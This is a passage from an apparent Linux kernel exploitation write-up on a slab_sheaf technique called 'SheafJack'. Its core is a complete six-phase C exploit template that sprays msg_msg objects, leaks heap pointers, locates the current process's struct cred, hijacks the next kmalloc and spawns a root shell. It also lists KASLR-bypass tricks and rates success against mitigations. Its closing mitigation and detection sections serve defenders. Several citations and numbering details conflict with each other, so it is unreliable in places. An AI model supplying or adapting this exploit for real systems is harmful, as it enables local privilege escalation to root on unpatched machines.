FineIBT documented bypass	FineIBT spec documents a bypass path present in K6.18+. Crafted indirect jump to a non-landing-pad target can skip IBT verification.	See L2-1 (KASLR & IBT Bypass) for full detail
modprobe_path overwrite	Write attacker-controlled path to modprobe_path global variable. Trigger unknown binary exec → kernel runs script as root.	Does NOT need kernel text address. Works in K6.18+.
/proc/kallsyms	Reveals all symbol addresses if kptr_restrict=0.	Lab environments and misconfigured production only.
sheaf.cache as KASLR oracle	Read sheaf->cache (a kmem_cache* kernel pointer). Offset from kmalloc_caches[] to _stext is constant per build → slide = runtime - compile-time offset.	Requires arb_read64 primitive.

vDSO slide leak	/proc/self/maps shows vDSO runtime base address. KASLR slide = vDSO_runtime - vDSO_compile_offset. Unprivileged.	Works without any kernel write primitive.
Spectre-v1 gadgets	Some kernel 6.18+ code paths still contain exploitable Spectre-v1 gadgets enabling side-channel text leak.	Slow (~100ms) but does not require write primitive.

10 Full SheafJack Exploit Template — 6 Phases

Complete annotated exploit skeleton using Attack Vector V1 (objects[] slot injection → cred.uid=0 → root). Placeholder functions must be replaced with primitives specific to the vulnerability being exploited.

What This Template Does NOT Require
✗ Timing side-channel / oracle loop (unlike SLUBStick)
✗ XOR decode iterations
✗ KASLR bypass (for cred.uid overwrite target)
✗ Cross-cache page-level fengshui (unlike cross-cache attacks)
✗ Kernel text address knowledge

C — sheafjack_full.c (complete 6-phase annotated skeleton)

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <stdbool.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>

/* ================================================================
 * PRIMITIVES — replace with your bug-specific implementation
 * ================================================================ */
unsigned long arb_read64(unsigned long addr);   /* arbitrary kernel read  */
unsigned int  arb_read32(unsigned long addr);   /* arbitrary kernel read  */
void          oob_write64(unsigned long a, unsigned long v); /* OOB write */
unsigned long uaf_read64(unsigned long offset); /* UAF read on freed obj  */

/* ================================================================
 * HELPERS
 * ================================================================ */
static inline bool is_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }

static void pin_cpu0() {
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(0, &s);
    if (sched_setaffinity(0, sizeof(s), &s) < 0) perror("affinity");
}

/* ================================================================
 * GLOBALS
 * ================================================================ */
static unsigned long g_heap_base = 0;
static unsigned long g_sheaf_addr = 0;
static unsigned long g_cred_addr = 0;
static int g_qids[128];
static int g_nqids = 0;

/* ================================================================
 * PHASE 1 — Heap Spray: kmalloc-128 via msg_msg
 * Goal: ensure an active slab_sheaf exists for kmalloc-128 with
```

```
 *       some freed objects (partial sheaf) — easier to locate.
 * ============================================================== */
static void phase1_spray() {
    printf("[*] Phase 1: Spray
");
    for (int i = 0; i < 80; i++) {
        g_qids[i] = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
        if (g_qids[i] < 0) { perror("msgget"); exit(1); }
        struct { long mt; char b[120]; } m;
        m.mt = i + 1;
        memset(m.b, 0x41 + (i % 26), 120);
        msgsnd(g_qids[i], &m, 120, 0);
    }
    g_nqids = 80;
    /* Free 10: they go back to objects[] in the active slab_sheaf
     * This creates a partial sheaf and leaves stale heap pointers
     * readable via UAF if the bug triggers on any of these objects. */
    for (int i = 0; i < 10; i++) {
        struct { long mt; char b[120]; } m;
        msgrcv(g_qids[i], &m, 120, 0, 0);
    }
    printf("[+] Sprayed 80 objects, freed 10 → partial slab_sheaf
");
}

/* ============================================================
 * PHASE 2 — Info Leak: heap base via UAF read on freed object
 * In K7 freed objects contain raw heap pointers (no XOR encoding).
 * ============================================================ */
static void phase2_leak() {
    printf("[*] Phase 2: Info leak
");
    unsigned long leaked = uaf_read64(0);
    printf("[*] UAF leaked value: 0x%lx
", leaked);
    if (!is_kptr(leaked)) {
        fprintf(stderr, "[-] Leaked value not a kernel pointer.
");
        fprintf(stderr, "[-] Check UAF read primitive offset.
");
        exit(1);
    }
    g_heap_base = leaked & ~(unsigned long)0xFFFF;
    printf("[+] heap_base estimate: 0x%lx
", g_heap_base);
}

/* ============================================================
 * PHASE 3 — Locate active slab_sheaf via heap scan
 * ============================================================ */
static void phase3_find_sheaf() {
    printf("[*] Phase 3: Scan for slab_sheaf
");
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a   = g_heap_base + off;
        unsigned int  cap = arb_read32(a);         /* union[0..3] */
        unsigned int  sz  = arb_read32(a + 0x18);
        if (cap < 4 || cap > 64)             continue;
        if (sz == 0 || sz > cap)             continue;
        if (!is_kptr(arb_read64(a + 0x08)))  continue;
        if (!is_kptr(arb_read64(a + 0x10)))  continue;
        if (!is_kptr(arb_read64(a + 0x20)))  continue;
        g_sheaf_addr = a;
        printf("[+] slab_sheaf @ 0x%lx  (cap=%u  sz=%u)
", a, cap, sz);
        return;
    }
    fprintf(stderr, "[-] slab_sheaf not found. Try: larger scan range,
");
    fprintf(stderr, "    different heap_base offset, more spray objects.
");
    exit(1);
}

/* ============================================================
 * PHASE 4 — Locate struct cred for the current process
 * struct cred layout (K7, approximate):
 *   +0x00: usage (atomic_t)
```

```
 *   +0x04: uid   (kuid_t = unsigned int)
 *   +0x08: gid
 *   +0x0C: suid,  +0x10: sgid
 *   +0x14: euid,  +0x18: egid
 *   +0x1C: fsuid, +0x20: fsgid
 *   ... securebits, capabilities, keys, lsm blob ...
 * ============================================================== */
static void phase4_find_cred() {
    printf("[*] Phase 4: Scan for struct cred
");
    unsigned int uid = getuid();
    unsigned int gid = getgid();
    for (unsigned long off = 0; off < 0x200000; off += 8) {
        unsigned long a = g_heap_base - 0x100000 + off;
        /* Match uid, gid, suid, euid — 4 coincident values = strong signal */
        if (arb_read32(a + 0x04) != uid)  continue;
        if (arb_read32(a + 0x08) != gid)  continue;
        if (arb_read32(a + 0x0C) != uid)  continue;  /* suid */
        if (arb_read32(a + 0x14) != uid)  continue;  /* euid */
        g_cred_addr = a;
        printf("[+] struct cred @ 0x%lx  (uid=%u gid=%u)
", a, uid, gid);
        return;
    }
    fprintf(stderr, "[-] cred not found. Expand scan range or refine offset.
");
    exit(1);
}

/* ==============================================================
 * PHASE 5 — SheafJack V1 Injection
 * Overwrite objects[size-1] with &cred->uid.
 * ============================================================== */
static int phase5_inject() {
    printf("[*] Phase 5: SheafJack V1 injection
");
    pin_cpu0();   /* minimise preemption race window */

    unsigned int  sz      = arb_read32(g_sheaf_addr + 0x18);
    if (sz == 0) {
        fprintf(stderr, "[-] sheaf.size=0: sheaf is empty, cannot inject
");
        return -1;
    }

    unsigned long slot_off = 0x20 + (sz - 1) * 8;
    unsigned long target   = g_cred_addr + 0x04;  /* &cred->uid */

    printf("[*] sheaf.size=%u → slot @ sheaf+0x%lx  target=0x%lx
",
           sz, slot_off, target);

    /* DIRECT WRITE — no XOR, no encoding */
    oob_write64(g_sheaf_addr + slot_off, target);

    /* Verify: if another CPU consumed the slot between read-sz and write,
     * the value will be different. Retry from phase3 if verify fails.   */
    unsigned long check = arb_read64(g_sheaf_addr + slot_off);
    if (check != target) {
        fprintf(stderr, "[-] Verify failed (got=0x%lx) — slot race
", check);
        return -1;
    }
    printf("[+] Verified: objects[%u] = &cred->uid = 0x%lx
", sz-1, target);
    return 0;
}

/* ==============================================================
 * PHASE 6 — Trigger Allocation and Write uid=0
 * msgsnd causes kmalloc(128) → kernel gets &cred->uid as buffer.
 * Kernel copies our zero payload INTO &cred->uid.
 * Result: cred->uid=0, cred->gid=0, cred->euid=0, ... → root.
 * ============================================================== */
static void phase6_trigger_and_pwn() {
    printf("[*] Phase 6: Trigger allocation → write uid=0
```

```
");
    int q = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
    struct { long mt; char b[120]; } m = {.mt = 1};
    memset(m.b, 0, 120);  /* zero payload: uid=0, gid=0, euid=0, ... */
    msgsnd(q, &m, 120, 0);
    printf("[*] msgsnd triggered — checking uid...
");
}

/* ================================================================
 * MAIN — retry loop for race tolerance
 * ================================================================ */
int main(int argc, char **argv) {
    setbuf(stdout, NULL);
    printf("SheafJack — Linux Kernel 6.18+ Allocation Hijack
");
    printf("pid=%d  uid=%d  gid=%d


", getpid(), getuid(), getgid());


    for (int attempt = 0; attempt < 5 && getuid() != 0; attempt++) {
        if (attempt > 0) printf("
[*] Attempt %d/5
", attempt + 1);


        phase1_spray();
        phase2_leak();
        phase3_find_sheaf();
        phase4_find_cred();


        if (phase5_inject() < 0) {
            printf("[*] Injection failed — retrying from phase3
");
            /* Re-find sheaf (it may have been exhausted or replaced) */
            phase3_find_sheaf();
            if (phase5_inject() < 0) continue;
        }


        phase6_trigger_and_pwn();
    }


    if (getuid() == 0) {
        printf("[+] ROOT! uid=%u
", getuid());
        execve("/bin/bash", (char*[]){"/bin/bash", "-p", NULL},
               (char*[]){"PATH=/usr/bin:/bin", "TERM=xterm", NULL});
        perror("execve");
    } else {
        fprintf(stderr, "[-] Exploit failed — uid=%u after 5 attempts
",
                getuid());
        fprintf(stderr, "[-] Possible causes:
");
        fprintf(stderr, "    - Bug primitive not stable enough
");
        fprintf(stderr, "    - slab_sheaf scan range too narrow
");
        fprintf(stderr, "    - cred scan range / offset mismatch
");
        fprintf(stderr, "    - Kernel compiled with CONFIG_INIT_ON_FREE
");
    }
    return 1;
}
```

11 Comparison vs. Other Techniques

Technique	Kernel	Core Primitive	Needs Infoleak	Needs KASLR	Iterations	Est. Success
SLUBStick	5.x–6.x	Timing side-channel oracle	**No**	**No**	**100–500+**	65–80%
DirtyCred[4]	5.x–6.x	Credential swap via UAF	**No**	**No**	**None**	~90%
Page-UAF(Phrack #71)[3]	5.x–6.x	Bridge obj page ptr abuse	**No**	**No**	**None**	90–100%
SheafJack V1	6.18+	objects[] direct overwrite	**YES**	**No (cred)**	**0**	~85–95%
SheafJack V2	6.18+	cache ptr type confusion	**YES**	**Maybe**	**0**	~70–85%
SheafJack V3	6.18+	node_barn cross-CPU race	**YES**	**Sit.**	**Race**	~50–70%

11.1 Relationship with Page-UAF (Phrack #71)

SheafJack and the Page-UAF technique (Zhou et al., Phrack Issue 71)[3] attack at different levels of abstraction and are **complementary, not competing**

- **Page-UAF** attacks at the **physical page level** via bridge objects (`struct page *` pointer in `pipe_buffer`). It works on kernel 5.x and 6.x. The core primitive is controlling which physical page kernel variables alias onto.
- **SheafJack** attacks at the **slab allocation path level** via the flat `objects[]` array. It is K6.18+-specific because `slab_sheaf` does not exist before K6.18. It controls which virtual kernel address is returned by the next `kmalloc()`.
- **Combination chain:** Use Page-UAF to construct a UAF primitive that gives access to a freed slab object → use SheafJack V1 to inject a controlled allocation target. Page-UAF provides the initial primitive; SheafJack converts it into an arbitrary cred write.

12 Reliability Analysis and Success Rate

12.1 Positive Factors (Increasing Reliability)

- **No encoding:** One direct write works immediately. No decode loop, no timing calibration needed.
- **Deterministic LIFO:** `objects[size-1]` is always the next slot taken. No randomness in which slot is consumed.
- **Heap address sufficient:** KASLR bypass not required for cred overwrite. Heap leak from §8 is all that is needed.
- **Verifiable before trigger:** After injection, `arb_read64(sheaf + slot_off)` confirms the overwrite before the allocation is triggered. Eliminates blind shots.
- **Retry without crash:** If the race causes a miss, re-scan for the sheaf and re-inject. No kernel panic is triggered by a failed injection.
- **Multiple-slot overwrite:** Overwriting objects[n], objects[n-1], objects[n-2] simultaneously (if primitive allows) eliminates the race window entirely.

12.2 Risk Factors (Reducing Reliability)

- **Race window:** CPU preemption between size-read and slot-write may cause the slot to be consumed by another thread. Mitigate with CPU pin.
- **Sheaf rotation:** Kernel may swap main/spare sheaf between two operations. Re-scan if injection verify fails.
- **CONFIG_INIT_ON_FREE:** Zeros freed objects, zeroing stale objects[] pointers. Makes Technique 8.1 (stale pointer UAF read) harder — but not impossible if the bug is triggered before zero-fill.
- **KASAN / KFENCE:** Detect OOB writes in debug builds. Not present in production kernels. Not a practical barrier for real-world targets.
- **Dynamic sheaf location:** slab_sheaf is allocated dynamically. Scan must cover sufficient range. If scan fails, more spray is needed.

12.3 Summary Statistics

Metric	SheafJack V1	SheafJack V2	SheafJack V3
Estimated success rate	~85–95%	~70–85%	~50–70%
Write ops required	1 (verifiable)	1	Many (race)
Oracle iterations needed	0	0	0
KASLR needed (cred target)	No	Maybe	Situational
Audit log noise	Low	Low	High
Kernel version required	6.18+	6.18+	6.18+

13 Mitigations and Detection

13.1 Existing Mitigations — Effectiveness Against SheafJack

Mitigation	What It Protects	Effectiveness vs SheafJack
CONFIG_SLAB_FREELIST_HARDENED	XOR-encoded freelist (K6 structure)	**K6.18: `NOT RELEVANT – objects[] unencoded; freelist hardening bypassed via sheaves path` `K7.0+: NOT RELEVANT – freelist chain removed; kmem_cache_cpu deleted`**
CONFIG_SLAB_FREELIST_RANDOM	Predictable freelist ordering	**PARTIAL — randomises objects[] order at sheaf fill time; LIFO is deterministic after that**
KASAN	OOB accesses, use-after-free	**EFFECTIVE — but debug/testing builds only**
KFENCE	Probabilistic OOB and UAF detection	**PARTIAL - only a sampling fraction of allocations are protected**
ML-DSA module signing (K7)	Untrusted kernel module loading	**NOT RELEVANT - module load-time, not runtime heap**
CONFIG_INIT_ON_FREE	Info leak from freed memory	**PARTIAL - hardens Technique 8.1 but does not prevent V1 once sheaf is found**
BPF SELinux token (K7)	Unprivileged BPF program execution	**NOT RELEVANT - unrelated to slab_sheaf exploitation**
FineIBT (K7)	Indirect branch target enforcement	**PARTIAL — protects ROP chains; does not protect slab metadata overwrite**

13.2 Proposed Mitigations That Would Be Effective

11. **Encode objects[] pointers** - apply XOR encoding per sheaf (random key × slot address), analogous to SLAB_FREELIST_HARDENED. This would require an attacker to first recover the per-sheaf key, dramatically increasing complexity. Estimated overhead: 2–3 ns per alloc/free on modern hardware.
12. **Guard page / metadata isolation** - allocate `slab_sheaf` structs in a dedicated region with guard pages separating them from slab object pages. OOB writes from objects would trigger a page fault before reaching sheaf metadata. Trade-off: increased memory overhead, possible TLB pressure.
13. **Validate cache pointer in refill_sheaf()** - before using `sheaf->cache`, verify it matches the cache that owns the sheaf. Eliminates V2 type confusion with near-zero overhead (one pointer comparison).
14. **Replace data_race(nr_empty) with READ_ONCE()** in `barn_get_empty_sheaf()` — eliminates the V3 race window with minimal performance impact. The original data_race() optimisation is marginal; atomic read would not measurably regress allocator throughput.
15. **Canary in slab_sheaf header** - store a per-sheaf random value at `+0x00` (before capacity), verified before every `objects[]` access. Detects OOB corruption from adjacent objects. Overhead: 1 comparison per alloc/free.

13.3 Runtime Detection Strategies

- **eBPF kprobe on slab_alloc_node():** Monitor allocations whose return address falls outside any slab page managed by the owning cache. A return address landing in the cred area, stack, or kernel data section from a kmalloc-128 call is a strong SheafJack V1 signal.
- **Syscall sequence analysis:** The SheafJack V1 fingerprint is: heavy spray pattern (many `msgget` + `msgsnd`), followed by anomalous `msgsnd` whose msg_msg allocation address matches a target object (cred, file table) rather than a normal heap region.
- **Periodic heap integrity scan:** Kernel background thread verifying that all `slab_sheaf.objects[]` entries fall within slab pages managed by their owning cache. Any pointer outside this range indicates sheaf corruption.
- **KCSAN with data_race() audit:** Enabling KCSAN on `barn->nr_empty` accesses (removing the `data_race()` suppression) would detect V3 race attempts during fuzzing and testing.

13 References

[1] L. Maar, S. Gast, M. Unterguggenberger, M. Oberhuber, S. Mangard, “SLUBStick: Arbitrary Memory Writes through Practical Software Cross-Cache Attacks,” in Proc. 33rd USENIX Security Symposium, Philadelphia, PA, 2024.

[2] V. Babka et al., “SLUB: percpu sheaves allocator,” Linux Kernel Mailing List patch series, merged in Linux 6.18, 2024. [Online]. Available: https://lore.kernel.org/lkml/

[3] M. Ager, M. Vincianu, A. Cherepanov, “A Journey Into the Kernel Heap: Exploiting Page Tables via Bridge Objects,” Phrack, vol. 71, 2024. [Online]. Available: http://phrack.org/issues/71/

[4] Z. Lin, Y. Wu, X. Xing, “DirtyCred: Escalating Privilege in Linux Kernel,” in Proc. ACM CCS, Los Angeles, CA, 2022, pp. 2963–2976.

[5] Antonius, “CVE-2026-23416[5]: Linux kernel mm/mseal stale VMA pointer after vma_modify_flags() merge,” 2026. [Online]. Available: https://github.com/bluedragonsecurity/CVE-2026-23416-POC

[6] Antonius, “CVE-2026-31429: Linux kernel net/skb KFENCE cross-cache free (CWE-763),” fixed in commit 474e00b935db, 2026.

[7] The Linux Kernel, “mm/slub.c, Linux 6.18,” 2024. [Online]. Available: https://github.com/torvalds/linux/blob/v6.18/mm/slub.c

[8] G. Donenfeld, “CONFIG_SLAB_FREELIST_HARDENED: Pointer obfuscation,” Linux kernel commit, 2017. Available: https://lwn.net/Articles/727507/